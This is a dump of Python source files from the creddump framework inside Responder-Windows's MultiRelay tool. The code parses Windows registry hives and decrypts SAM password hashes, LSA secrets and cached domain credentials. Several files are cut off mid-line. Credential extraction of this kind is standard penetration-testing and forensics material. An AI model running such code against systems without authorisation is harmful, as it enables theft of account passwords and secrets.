https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/tools/MultiRelay/creddump/framework/win32/__init__.py -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/framework/win32/addrspace.py: -------------------------------------------------------------------------------- 1 | # Volatility 2 | # Copyright (C) 2007 Volatile Systems 3 | # 4 | # Original Source: 5 | # Copyright (C) 2004,2005,2006 4tphi Research 6 | # Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters) 7 | # 8 | # This program is free software; you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation; either version 2 of the License, or (at 11 | # your option) any later version. 12 | # 13 | # This program is distributed in the hope that it will be useful, but 14 | # WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 16 | # General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with this program; if not, write to the Free Software 20 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 21 | # 22 | 23 | """ 24 | @author: AAron Walters 25 | @license: GNU General Public License 2.0 or later 26 | @contact: awalters@volatilesystems.com 27 | @organization: Volatile Systems 28 | """ 29 | 30 | """ Alias for all address spaces """ 31 | 32 | import os 33 | import struct 34 | 35 | class FileAddressSpace: 36 | def __init__(self, fname, mode='rb', fast=False): 37 | self.fname = fname 38 | self.name = fname 39 | self.fhandle = open(fname, mode) 40 | self.fsize = os.path.getsize(fname) 41 | 42 | if fast == True: 43 | self.fast_fhandle = open(fname, mode) 44 | 45 | def fread(self,len): 46 | return self.fast_fhandle.read(len) 47 | 48 | def read(self, addr, len): 49 | self.fhandle.seek(addr) 50 | return self.fhandle.read(len) 51 | 52 | def read_long(self, addr): 53 | string = self.read(addr, 4) 54 | (longval, ) = struct.unpack('L', string) 55 | return longval 56 | 57 | def get_address_range(self): 58 | return [0,self.fsize-1] 59 | 60 | def get_available_addresses(self): 61 | return [self.get_address_range()] 62 | 63 | def is_valid_address(self, addr): 64 | return addr < self.fsize - 1 65 | 66 | def close(): 67 | self.fhandle.close() 68 | 69 | # Code below written by Brendan Dolan-Gavitt 70 | 71 | BLOCK_SIZE = 0x1000 72 | 73 | class HiveFileAddressSpace: 74 | def __init__(self, fname): 75 | self.fname = fname 76 | self.base = FileAddressSpace(fname) 77 | 78 | def vtop(self, vaddr): 79 | return vaddr + BLOCK_SIZE + 4 80 | 81 | def read(self, vaddr, length, zero=False): 82 | first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE 83 | full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 84 | left_over = (length + vaddr) % BLOCK_SIZE 85 | 86 | paddr = self.vtop(vaddr) 87 | if paddr == None and zero: 88 | if length < first_block: 89 | return "\0" * length 90 | else: 91 | stuff_read = "\0" * first_block 92 | elif paddr == None: 93 | return None 94 | else: 95 | if length < first_block: 96 | stuff_read = self.base.read(paddr, length) 97 | if not stuff_read and zero: 98 | return "\0" * length 99 | else: 100 | return stuff_read 101 | 102 | stuff_read = self.base.read(paddr, first_block) 103 | if not stuff_read and zero: 104 | stuff_read = "\0" * first_block 105 | 106 | new_vaddr = vaddr + first_block 107 | for i in range(0,full_blocks): 108 | paddr = self.vtop(new_vaddr) 109 | if paddr == None and zero: 110 | stuff_read = stuff_read + "\0" * BLOCK_SIZE 111 | elif paddr == None: 112 | return None 113 | else: 114 | new_stuff = self.base.read(paddr, BLOCK_SIZE) 115 | if not new_stuff and zero: 116 | new_stuff = "\0" * BLOCK_SIZE 117 | elif not new_stuff: 118 | return None 119 | else: 120 | stuff_read = stuff_read + new_stuff 121 | new_vaddr = new_vaddr + BLOCK_SIZE 122 | 123 | if left_over > 0: 124 | paddr = self.vtop(new_vaddr) 125 | if paddr == None and zero: 126 | stuff_read = stuff_read + "\0" * left_over 127 | elif paddr == None: 128 | return None 129 | else: 130 | stuff_read = stuff_read + self.base.read(paddr, left_over) 131 | return stuff_read 132 | 133 | def read_long_phys(self, addr): 134 | string = self.base.read(addr, 4) 135 | (longval, ) = struct.unpack('L', string) 136 | return longval 137 | 138 | def is_valid_address(self, vaddr): 139 | paddr = self.vtop(vaddr) 140 | if not paddr: return False 141 | return self.base.is_valid_address(paddr) 142 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/framework/win32/domcachedump.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | #from framework.win32.hashdump import get_bootkey 25 | from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key 26 | from Crypto.Hash import HMAC 27 | from Crypto.Cipher import ARC4 28 | from struct import unpack 29 | 30 | def get_nlkm(secaddr, lsakey): 31 | return get_secret_by_name(secaddr, 'NL$KM', lsakey) 32 | 33 | def decrypt_hash(edata, nlkm, ch): 34 | hmac_md5 = HMAC.new(nlkm,ch) 35 | rc4key = hmac_md5.digest() 36 | 37 | rc4 = ARC4.new(rc4key) 38 | data = rc4.encrypt(edata) 39 | return data 40 | 41 | def parse_cache_entry(cache_data): 42 | (uname_len, domain_len) = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from rawreg import * 23 | from addrspace import HiveFileAddressSpace 24 | try: 25 | from Crypto.Hash import MD5 26 | from Crypto.Cipher import ARC4,DES 27 | except ImportError: 28 | pass 29 | from struct import unpack,pack 30 | 31 | odd_parity = [ 32 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 33 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 34 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 35 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 36 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 37 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 38 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 39 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 40 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 41 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 42 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 43 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 44 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 45 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 46 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 47 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 48 | ] 49 | 50 | # Permutation matrix for boot key 51 | p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 52 | 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] 53 | 54 | # Constants for SAM decrypt algorithm 55 | aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 56 | anum = "0123456789012345678901234567890123456789\0" 57 | antpassword = "NTPASSWORD\0" 58 | almpassword = "LMPASSWORD\0" 59 | 60 | empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') 61 | empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') 62 | 63 | def str_to_key(s): 64 | key = [] 65 | key.append( ord(s[0])>>1 ) 66 | key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) 67 | key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) 68 | key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) 69 | key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) 70 | key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) 71 | key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) 72 | key.append( ord(s[6])&0x7F ) 73 | for i in range(8): 74 | key[i] = (key[i]<<1) 75 | key[i] = odd_parity[key[i]] 76 | return "".join(chr(k) for k in key) 77 | 78 | def sid_to_key(sid): 79 | s1 = "" 80 | s1 += chr(sid & 0xFF) 81 | s1 += chr((sid>>8) & 0xFF) 82 | s1 += chr((sid>>16) & 0xFF) 83 | s1 += chr((sid>>24) & 0xFF) 84 | s1 += s1[0]; 85 | s1 += s1[1]; 86 | s1 += s1[2]; 87 | s2 = s1[3] + s1[0] + s1[1] + s1[2] 88 | s2 += s2[0] + s2[1] + s2[2] 89 | 90 | return str_to_key(s1),str_to_key(s2) 91 | 92 | def find_control_set(sysaddr): 93 | root = get_root(sysaddr) 94 | if not root: 95 | return 1 96 | 97 | csselect = open_key(root, ["Select"]) 98 | if not csselect: 99 | return 1 100 | 101 | for v in values(csselect): 102 | if v.Name == "Current": return v.Data.value 103 | 104 | def get_hbootkey(samaddr, bootkey): 105 | sam_account_path = ["SAM", "Domains", "Account"] 106 | 107 | root = get_root(samaddr) 108 | if not root: return None 109 | 110 | sam_account_key = open_key(root, sam_account_path) 111 | if not sam_account_key: return None 112 | 113 | F = None 114 | for v in values(sam_account_key): 115 | if v.Name == 'F': 116 | F = samaddr.read(v.Data.value, v.DataLength.value) 117 | if not F: return None 118 | 119 | md5 = MD5.new() 120 | md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) 121 | rc4_key = md5.digest() 122 | 123 | rc4 = ARC4.new(rc4_key) 124 | hbootkey = rc4.encrypt(F[0x80:0xA0]) 125 | 126 | return hbootkey 127 | 128 | def get_user_keys(samaddr): 129 | user_key_path = ["SAM", "Domains", "Account", "Users"] 130 | 131 | root = get_root(samaddr) 132 | if not root: return [] 133 | 134 | user_key = open_key(root, user_key_path) 135 | if not user_key: return [] 136 | 137 | return [k for k in subkeys(user_key) if k.Name != "Names"] 138 | 139 | def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): 140 | (des_k1,des_k2) = sid_to_key(rid) 141 | d1 = DES.new(des_k1, DES.MODE_ECB) 142 | d2 = DES.new(des_k2, DES.MODE_ECB) 143 | 144 | md5 = MD5.new() 145 | md5.update(hbootkey[:0x10] + pack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | #from framework.win32.hashdump import get_bootkey,str_to_key 25 | from Crypto.Hash import MD5 26 | from Crypto.Cipher import ARC4,DES 27 | 28 | def get_lsa_key(secaddr, bootkey): 29 | root = get_root(secaddr) 30 | if not root: 31 | return None 32 | 33 | enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) 34 | if not enc_reg_key: 35 | exit(1) 36 | return None 37 | 38 | enc_reg_value = enc_reg_key.ValueList.List[0] 39 | if not enc_reg_value: 40 | return None 41 | 42 | obf_lsa_key = secaddr.read(enc_reg_value.Data.value, 43 | enc_reg_value.DataLength.value) 44 | if not obf_lsa_key: 45 | return None 46 | 47 | md5 = MD5.new() 48 | md5.update(bootkey) 49 | for i in range(1000): 50 | md5.update(obf_lsa_key[60:76]) 51 | rc4key = md5.digest() 52 | 53 | rc4 = ARC4.new(rc4key) 54 | lsa_key = rc4.decrypt(obf_lsa_key[12:60]) 55 | 56 | return lsa_key[0x10:0x20] 57 | 58 | def decrypt_secret(secret, key): 59 | """Python implementation of SystemFunction005. 60 | 61 | Decrypts a block of data with DES using given key. 62 | Note that key can be longer than 7 bytes.""" 63 | decrypted_data = '' 64 | j = 0 # key index 65 | for i in range(0,len(secret),8): 66 | enc_block = secret[i:i+8] 67 | block_key = key[j:j+7] 68 | des_key = str_to_key(block_key) 69 | 70 | des = DES.new(des_key, DES.MODE_ECB) 71 | decrypted_data += des.decrypt(enc_block) 72 | 73 | j += 7 74 | if len(key[j:j+7]) < 7: 75 | j = len(key[j:j+7]) 76 | 77 | (dec_data_len,) = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from object import * 23 | from types import regtypes as types 24 | from operator import itemgetter 25 | from struct import unpack 26 | 27 | def get_ptr_type(structure, member): 28 | """Return the type a pointer points to. 29 | 30 | Arguments: 31 | structure : the name of the structure from vtypes 32 | member : a list of members 33 | 34 | Example: 35 | get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] 36 | """ 37 | if len(member) > 1: 38 | _, tp = get_obj_offset(types, [structure, member[0]]) 39 | if tp == 'array': 40 | return types[structure][1][member[0]][1][2][1] 41 | else: 42 | return get_ptr_type(tp, member[1:]) 43 | else: 44 | return types[structure][1][member[0]][1][1] 45 | 46 | class Obj(object): 47 | """Base class for all objects. 48 | 49 | May return a subclass for certain data types to allow 50 | for special handling. 51 | """ 52 | 53 | def __new__(typ, name, address, space): 54 | if name in globals(): 55 | # This is a bit of "magic" 56 | # Could be replaced with a dict mapping type names to types 57 | return globals()[name](name,address,space) 58 | elif name in builtin_types: 59 | return Primitive(name, address, space) 60 | else: 61 | obj = object.__new__(typ) 62 | return obj 63 | 64 | def __init__(self, name, address, space): 65 | self.name = name 66 | self.address = address 67 | self.space = space 68 | 69 | # Subclasses can add fields to this list if they want them 70 | # to show up in values() or members(), even if they do not 71 | # appear in the vtype definition 72 | self.extra_members = [] 73 | 74 | def __getattribute__(self, attr): 75 | try: 76 | return object.__getattribute__(self, attr) 77 | except AttributeError: 78 | pass 79 | 80 | if self.name in builtin_types: 81 | raise AttributeError("Primitive types have no dynamic attributes") 82 | 83 | try: 84 | off, tp = get_obj_offset(types, [self.name, attr]) 85 | except: 86 | raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) 87 | 88 | if tp == 'array': 89 | a_len = types[self.name][1][attr][1][1] 90 | l = [] 91 | for i in range(a_len): 92 | a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) 93 | if a_tp == 'pointer': 94 | ptp = get_ptr_type(self.name, [attr, i]) 95 | l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) 96 | else: 97 | l.append(Obj(a_tp, self.address+a_off, self.space)) 98 | return l 99 | elif tp == 'pointer': 100 | # Can't just return a Obj here, since pointers need to also 101 | # know what type they point to. 102 | ptp = get_ptr_type(self.name, [attr]) 103 | return Pointer(tp, self.address+off, self.space, ptp) 104 | else: 105 | return Obj(tp, self.address+off, self.space) 106 | 107 | def __div__(self, other): 108 | if isinstance(other,tuple) or isinstance(other,list): 109 | return Pointer(other[0], self.address, self.space, other[1]) 110 | elif isinstance(other,str): 111 | return Obj(other, self.address, self.space) 112 | else: 113 | raise ValueError("Must provide a type name as string for casting") 114 | 115 | def members(self): 116 | """Return a list of this object's members, sorted by offset.""" 117 | 118 | # Could also just return the list 119 | membs = [ (k, v[0]) for k,v in types[self.name][1].items()] 120 | membs.sort(key=itemgetter(1)) 121 | return map(itemgetter(0),membs) + self.extra_members 122 | 123 | def values(self): 124 | """Return a dictionary of this object's members and their values""" 125 | 126 | valdict = {} 127 | for k in self.members(): 128 | valdict[k] = getattr(self, k) 129 | return valdict 130 | 131 | def bytes(self, length=-1): 132 | """Get bytes starting at the address of this object. 133 | 134 | Arguments: 135 | length : the number of bytes to read. Default: size of 136 | this object. 137 | """ 138 | 139 | if length == -1: 140 | length = self.size() 141 | return self.space.read(self.address, length) 142 | 143 | def size(self): 144 | """Get the size of this object.""" 145 | 146 | if self.name in builtin_types: 147 | return builtin_types[self.name][0] 148 | else: 149 | return types[self.name][0] 150 | 151 | def __repr__(self): 152 | return "<%s @%08x>" % (self.name, self.address) 153 | 154 | def __eq__(self, other): 155 | if not isinstance(other, Obj): 156 | raise TypeError("Types are incomparable") 157 | return self.address == other.address and self.name == other.name 158 | 159 | def __ne__(self, other): 160 | return not self.__eq__(other) 161 | 162 | def __hash__(self): 163 | return hash(self.address) ^ hash(self.name) 164 | 165 | def is_valid(self): 166 | return self.space.is_valid_address(self.address) 167 | 168 | def get_offset(self, member): 169 | return get_obj_offset(types, [self.name] + member) 170 | 171 | class Primitive(Obj): 172 | """Class to represent a primitive data type. 173 | 174 | Attributes: 175 | value : the python primitive value of this type 176 | """ 177 | 178 | def __new__(typ, *args, **kwargs): 179 | obj = object.__new__(typ) 180 | return obj 181 | 182 | def __init__(self, name, address, space): 183 | super(Primitive,self).__init__(name, address, space) 184 | length, fmt = builtin_types[name] 185 | data = space.read(address,length) 186 | if not data: self.value = None 187 | else: self.value = unpack(fmt,data)[0] 188 | 189 | def __repr__(self): 190 | return repr(self.value) 191 | 192 | def members(self): 193 | return [] 194 | 195 | class Pointer(Obj): 196 | """Class to represent pointers. 197 | 198 | value : the object pointed to 199 | 200 | If an attribute is not found in this instance, 201 | the attribute will be looked up in the referenced 202 | object.""" 203 | 204 | def __new__(typ, *args, **kwargs): 205 | obj = object.__new__(typ) 206 | return obj 207 | 208 | def __init__(self, name, address, space, ptr_type): 209 | super(Pointer,self).__init__(name, address, space) 210 | ptr_address = read_value(space, name, address) 211 | if ptr_type[0] == 'pointer': 212 | self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) 213 | else: 214 | self.value = Obj(ptr_type[0], ptr_address, self.space) 215 | 216 | def __getattribute__(self, attr): 217 | # It's still nice to be able to access things through pointers 218 | # without having to explicitly dereference them, so if we don't 219 | # find an attribute via our superclass, just dereference the pointer 220 | # and return the attribute in the pointed-to type. 221 | try: 222 | return super(Pointer,self).__getattribute__(attr) 223 | except AttributeError: 224 | return getattr(self.value, attr) 225 | 226 | def __repr__(self): 227 | return "" % (self.value.name, self.value.address) 228 | 229 | def members(self): 230 | return self.value.members() 231 | 232 | class _UNICODE_STRING(Obj): 233 | """Class representing a _UNICODE_STRING 234 | 235 | Adds the following behavior: 236 | * The Buffer attribute is presented as a Python string rather 237 | than a pointer to an unsigned short. 238 | * The __str__ method returns the value of the Buffer. 239 | """ 240 | 241 | def __new__(typ, *args, **kwargs): 242 | obj = object.__new__(typ) 243 | return obj 244 | 245 | def __str__(self): 246 | return self.Buffer 247 | 248 | # Custom Attributes 249 | def getBuffer(self): 250 | return read_unicode_string(self.space, types, [], self.address) 251 | Buffer = property(fget=getBuffer) 252 | 253 | class _CM_KEY_NODE(Obj): 254 | def __new__(typ, *args, **kwargs): 255 | obj = object.__new__(typ) 256 | return obj 257 | 258 | def getName(self): 259 | return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], 260 | self.address, self.NameLength.value) 261 | Name = property(fget=getName) 262 | 263 | class _CM_KEY_VALUE(Obj): 264 | def __new__(typ, *args, **kwargs): 265 | obj = object.__new__(typ) 266 | return obj 267 | 268 | def getName(self): 269 | return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], 270 | self.address, self.NameLength.value) 271 | Name = property(fget=getName) 272 | 273 | class _CHILD_LIST(Obj): 274 | def __new__(typ, *args, **kwargs): 275 | obj = object.__new__(typ) 276 | return obj 277 | 278 | def getList(self): 279 | lst = [] 280 | list_address = read_obj(self.space, types, 281 | ['_CHILD_LIST', 'List'], self.address) 282 | for i in range(self.Count.value): 283 | lst.append(Pointer("pointer", list_address+(i*4), self.space, 284 | ["_CM_KEY_VALUE"])) 285 | return lst 286 | List = property(fget=getList) 287 | 288 | class _CM_KEY_INDEX(Obj): 289 | def __new__(typ, *args, **kwargs): 290 | obj = object.__new__(typ) 291 | return obj 292 | 293 | def getList(self): 294 | lst = [] 295 | for i in range(self.Count.value): 296 | # we are ignoring the hash value here 297 | off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) 298 | lst.append(Pointer("pointer", self.address+off, self.space, 299 | ["_CM_KEY_NODE"])) 300 | return lst 301 | List = property(fget=getList) 302 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/framework/win32/object.py: -------------------------------------------------------------------------------- 1 | # Volatools Basic 2 | # Copyright (C) 2007 Komoku, Inc. 3 | # 4 | # This program is free software; you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation; either version 2 of the License, or (at 7 | # your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 17 | # 18 | 19 | """ 20 | @author: AAron Walters and Nick Petroni 21 | @license: GNU General Public License 2.0 or later 22 | @contact: awalters@komoku.com, npetroni@komoku.com 23 | @organization: Komoku, Inc. 24 | """ 25 | 26 | import struct 27 | 28 | builtin_types = { \ 29 | 'int' : (4, 'i'), \ 30 | 'long': (4, 'i'), \ 31 | 'unsigned long' : (4, 'I'), \ 32 | 'unsigned int' : (4, 'I'), \ 33 | 'address' : (4, 'I'), \ 34 | 'char' : (1, 'c'), \ 35 | 'unsigned char' : (1, 'B'), \ 36 | 'unsigned short' : (2, 'H'), \ 37 | 'short' : (2, 'h'), \ 38 | 'long long' : (8, 'q'), \ 39 | 'unsigned long long' : (8, 'Q'), \ 40 | 'pointer' : (4, 'I'),\ 41 | } 42 | 43 | 44 | def obj_size(types, objname): 45 | if not types.has_key(objname): 46 | raise Exception('Invalid type %s not in types' % (objname)) 47 | 48 | return types[objname][0] 49 | 50 | def builtin_size(builtin): 51 | if not builtin_types.has_key(builtin): 52 | raise Exception('Invalid built-in type %s' % (builtin)) 53 | 54 | return builtin_types[builtin][0] 55 | 56 | def read_value(addr_space, value_type, vaddr): 57 | """ 58 | Read the low-level value for a built-in type. 59 | """ 60 | 61 | if not builtin_types.has_key(value_type): 62 | raise Exception('Invalid built-in type %s' % (value_type)) 63 | 64 | type_unpack_char = builtin_types[value_type][1] 65 | type_size = builtin_types[value_type][0] 66 | 67 | buf = addr_space.read(vaddr, type_size) 68 | if buf is None: 69 | return None 70 | (val, ) = struct.unpack(type_unpack_char, buf) 71 | 72 | return val 73 | 74 | def read_unicode_string(addr_space, types, member_list, vaddr): 75 | offset = 0 76 | if len(member_list) > 1: 77 | (offset, current_type) = get_obj_offset(types, member_list) 78 | 79 | 80 | buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) 81 | length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) 82 | 83 | if length == 0x0: 84 | return "" 85 | 86 | if buf is None or length is None: 87 | return None 88 | 89 | readBuf = read_string(addr_space, types, ['char'], buf, length) 90 | 91 | if readBuf is None: 92 | return None 93 | 94 | try: 95 | readBuf = readBuf.decode('UTF-16').encode('ascii') 96 | except: 97 | return None 98 | 99 | return readBuf 100 | 101 | def read_string(addr_space, types, member_list, vaddr, max_length=256): 102 | offset = 0 103 | if len(member_list) > 1: 104 | (offset, current_type) = get_obj_offset(types, member_list) 105 | 106 | val = addr_space.read(vaddr + offset, max_length) 107 | 108 | return val 109 | 110 | 111 | def read_null_string(addr_space, types, member_list, vaddr, max_length=256): 112 | string = read_string(addr_space, types, member_list, vaddr, max_length) 113 | 114 | if string is None: 115 | return None 116 | 117 | if (string.find('\0') == -1): 118 | return string 119 | (string, none) = string.split('\0', 1) 120 | return string 121 | 122 | 123 | def get_obj_offset(types, member_list): 124 | """ 125 | Returns the (offset, type) pair for a given list 126 | """ 127 | member_list.reverse() 128 | 129 | current_type = member_list.pop() 130 | 131 | offset = 0 132 | 133 | while (len(member_list) > 0): 134 | if current_type == 'array': 135 | current_type = member_dict[current_member][1][2][0] 136 | if current_type in builtin_types: 137 | current_type_size = builtin_size(current_type) 138 | else: 139 | current_type_size = obj_size(types, current_type) 140 | index = member_list.pop() 141 | offset += index * current_type_size 142 | continue 143 | 144 | elif not types.has_key(current_type): 145 | raise Exception('Invalid type ' + current_type) 146 | 147 | member_dict = types[current_type][1] 148 | 149 | current_member = member_list.pop() 150 | if not member_dict.has_key(current_member): 151 | raise Exception('Invalid member %s in type %s' % (current_member, current_type)) 152 | 153 | offset += member_dict[current_member][0] 154 | 155 | current_type = member_dict[current_member][1][0] 156 | 157 | return (offset, current_type) 158 | 159 | 160 | def read_obj(addr_space, types, member_list, vaddr): 161 | """ 162 | Read the low-level value for some complex type's member. 163 | The type must have members. 164 | """ 165 | if len(member_list) < 2: 166 | raise Exception('Invalid type/member ' + str(member_list)) 167 | 168 | 169 | 170 | (offset, current_type) = get_obj_offset(types, member_list) 171 | return read_value(addr_space, current_type, vaddr + offset) 172 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/framework/win32/rawreg.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from newobj import Obj,Pointer 23 | from struct import unpack 24 | 25 | ROOT_INDEX = 0x20 26 | LH_SIG = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | regtypes = { 23 | '_CM_KEY_VALUE' : [ 0x18, { 24 | 'Signature' : [ 0x0, ['unsigned short']], 25 | 'NameLength' : [ 0x2, ['unsigned short']], 26 | 'DataLength' : [ 0x4, ['unsigned long']], 27 | 'Data' : [ 0x8, ['unsigned long']], 28 | 'Type' : [ 0xc, ['unsigned long']], 29 | 'Flags' : [ 0x10, ['unsigned short']], 30 | 'Spare' : [ 0x12, ['unsigned short']], 31 | 'Name' : [ 0x14, ['array', 1, ['unsigned short']]], 32 | } ], 33 | '_CM_KEY_NODE' : [ 0x50, { 34 | 'Signature' : [ 0x0, ['unsigned short']], 35 | 'Flags' : [ 0x2, ['unsigned short']], 36 | 'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], 37 | 'Spare' : [ 0xc, ['unsigned long']], 38 | 'Parent' : [ 0x10, ['unsigned long']], 39 | 'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], 40 | 'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], 41 | 'ValueList' : [ 0x24, ['_CHILD_LIST']], 42 | 'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], 43 | 'Security' : [ 0x2c, ['unsigned long']], 44 | 'Class' : [ 0x30, ['unsigned long']], 45 | 'MaxNameLen' : [ 0x34, ['unsigned long']], 46 | 'MaxClassLen' : [ 0x38, ['unsigned long']], 47 | 'MaxValueNameLen' : [ 0x3c, ['unsigned long']], 48 | 'MaxValueDataLen' : [ 0x40, ['unsigned long']], 49 | 'WorkVar' : [ 0x44, ['unsigned long']], 50 | 'NameLength' : [ 0x48, ['unsigned short']], 51 | 'ClassLength' : [ 0x4a, ['unsigned short']], 52 | 'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], 53 | } ], 54 | '_CM_KEY_INDEX' : [ 0x8, { 55 | 'Signature' : [ 0x0, ['unsigned short']], 56 | 'Count' : [ 0x2, ['unsigned short']], 57 | 'List' : [ 0x4, ['array', 1, ['unsigned long']]], 58 | } ], 59 | '_CHILD_LIST' : [ 0x8, { 60 | 'Count' : [ 0x0, ['unsigned long']], 61 | 'List' : [ 0x4, ['unsigned long']], 62 | } ], 63 | } 64 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/lsadump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 